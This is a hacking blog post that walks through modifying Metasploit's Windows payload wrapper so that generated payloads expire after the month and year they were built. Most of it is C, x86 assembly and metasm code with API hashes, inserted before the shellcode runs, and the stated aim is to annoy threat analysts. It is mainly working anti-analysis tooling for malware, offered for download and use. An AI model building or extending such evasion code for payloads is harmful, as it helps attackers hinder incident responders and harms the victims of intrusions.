Expiring Payloads in the Metasploit Framework

Happy clucking new year everyone!

People say i don’t “gave back” to the hacker community enough. That I’m “too cool” for school. Well I got a blog post for those people.

What’s something that would be super annoying as a threat analyst? What if you had a piece of malware that only worked temporarily? Regardless of if the C&C is up, most malware works out of the box. Let’s change that! Let’s make our payloads expire!

What is needed? A few simple API calls, some assembly, some ruby, and some time.

First we make it in C…

#include <windows.h>
WORD month = 12;
WORD year = 2017;

int main(void)
{
    SYSTEMTIME lt;
    GetLocalTime(&lt);
	if(month  == lt.wMonth && year == lt.wYear)
	{
		FatalAppExit(0,"cock!");
	}
	else
	{
		__asm
		{
			push 0
			Call ExitProcess
		}
	}
}

Then we pull the assembly out with IDA…

Great, nice and easy. Except for the 2 WORD values placed in the AX register. These are from a data section. We need to put this into an assembly project and make it position independent. Why? Because screw read only memory, that’s why. That means allocate a chunk of memory dynamically and assign it to our SYSTIME structure which is 16 bytes in size.

      .486
      .model flat, stdcall
      option casemap :none
      include c:\masm32\include\windows.inc
      include c:\masm32\include\kernel32.inc
	  include c:\masm32\include\user32.inc
      includelib c:\masm32\lib\kernel32.lib
	  includelib c:\masm32\lib\user32.lib

;SYSTEMTIME STRUCT
;	wYear WORD ?
;	wMonth WORD ?
;	wDayOfWeek WORD ?
;	wDay WORD ?
;	wHour WORD ?
;	wMinute WORD ?
;	wSecond WORD ?
;	wMilliseconds WORD ?
;SYSTEMTIME ENDS ; 16 bytes
; first 2 words are checked
; we dont need a data section

;    .data
;      DAY = 0Eh
;      MONTH = 0Ch
;      YEAR = 7E1h
      
    .code
;sysTime SYSTEMTIME <>
start:

; lets figure out how to do this with PIC
; is now PIC

push    ebp
mov     ebp, esp
;sub     esp, 10h
push 40h        ; PAGE_EXECUTE_READWRITE
push 1000h            ; MEM_COMMIT
push 10h               ; 16 bytes needed
push 0h            ; NULL as we dont care where the allocation is.
call VirtualAlloc
mov ebx, eax           ; Store allocated address in ebx
lea     eax, [ebx]
push    eax             
call    GetLocalTime
mov     ax, 0Ch ; MONTH
cmp     ax, [ebx+2]
jnz     short exitpart
mov     ax, 7E1h ; YEAR
cmp     ax, [ebx]
jz      short continue

exitpart:
push    0
call    ExitProcess

continue:
push 0
push 65706f6eh
call FatalAppExitA
; shellcode start
end start

Now we have our assembly code, small and sexy like. Compile it with masm, its like less than a KB. So now, how to we implement this into metasploit? All payloads are processed and wrapped via this class /lib/msf/util/exe.rb.

At line 1632, we have the master code bit responsible for allocating a read/write/executable block of memory and copying the shellcode inside.

To ensure our expiration code is hit BEFORE the shellcode is run, we should place our code just before memory is allocated for the shellcode. This is done at line 1767.

In order to make our alterations, we need to make use of ‘metasm’, metasploit’s crazy assembler. Thankfully its intel-like in syntax. Analysis of the source shows you can’t just ‘call’ api’s like normal. Instead you have to push a special hash onto the stack, then call the ‘ebp’ register. How do we get said hashes? There exists a special python script in /external/source/shellcode/windows/x86/src/hash.py for obtaining these hashes. We need 1 hash in particular, the one for GetLocalTRime.


The output is 0xD92CE33e. Here’s our addition to the exe.rb file:

;========================================	
; need chunk of memory for SYSTIME struct
push 40h        		; PAGE_EXECUTE_READWRITE
push 1000h            	; MEM_COMMIT
push 10h               	; 16 bytes needed
push 0h            		; NULL as we dont care where the allocation is.
push 0xE553A458        	; hash( "kernel32.dll", "VirtualAlloc" )
call ebp               	; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax           	; Store allocated address in ebx
lea     eax, [ebx]
push    eax             
push 0xD92CE33e		 	; GetLocalTime with chunk from VirtualAlloc
call ebp 
mov ax,cx
; curtime = Time.new
mov     cx, 0x#{curtime.month.to_s(16)} ; MONTH converted to hex
cmp     cx, [ebx+2]
jnz     short exitpart
mov     cx, 0x#{curtime.year.to_s(16)} ; YEAR converted to hex
cmp     cx, [ebx]
jz      short wegood
exitpart:
	  push 0
	  push 0x56A2B5F0
	  call ebp			; ExitProcess

wegood:
; passed checks, can start shellcode now
;=====================================	

Nice eh? We grab the current month and year via ruby code and format it to hex.

Does it work though? Does the pope shit in the woods? It’s January 2018 and the code works!

I’ve made this work by creating a duplicate function (method?) of ‘win32_rwx_exec’ in the exe.rb. My idea would be initialization dependent upon an option. That would mean adding the option to Line 19 of lib\msf\core\exploit\exe.rb

	if opts[:expire]
	 payload = win32_rwx_exec_expire(code)
	end

All that’s left to do now is submit to MSF and see if they take it / import it. If you would like to play with it, download the ‘exe.rb’ file here and place it in your [INSTALL_DIR]/lib/msf/util/ folder. Download it here.

I know this may upset a few of you, being just on Windows, but I got your back on part 2. Stay tuned for part 2 when I tackle the Linux addition to my metasploit addition.

Until then, Happy Hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.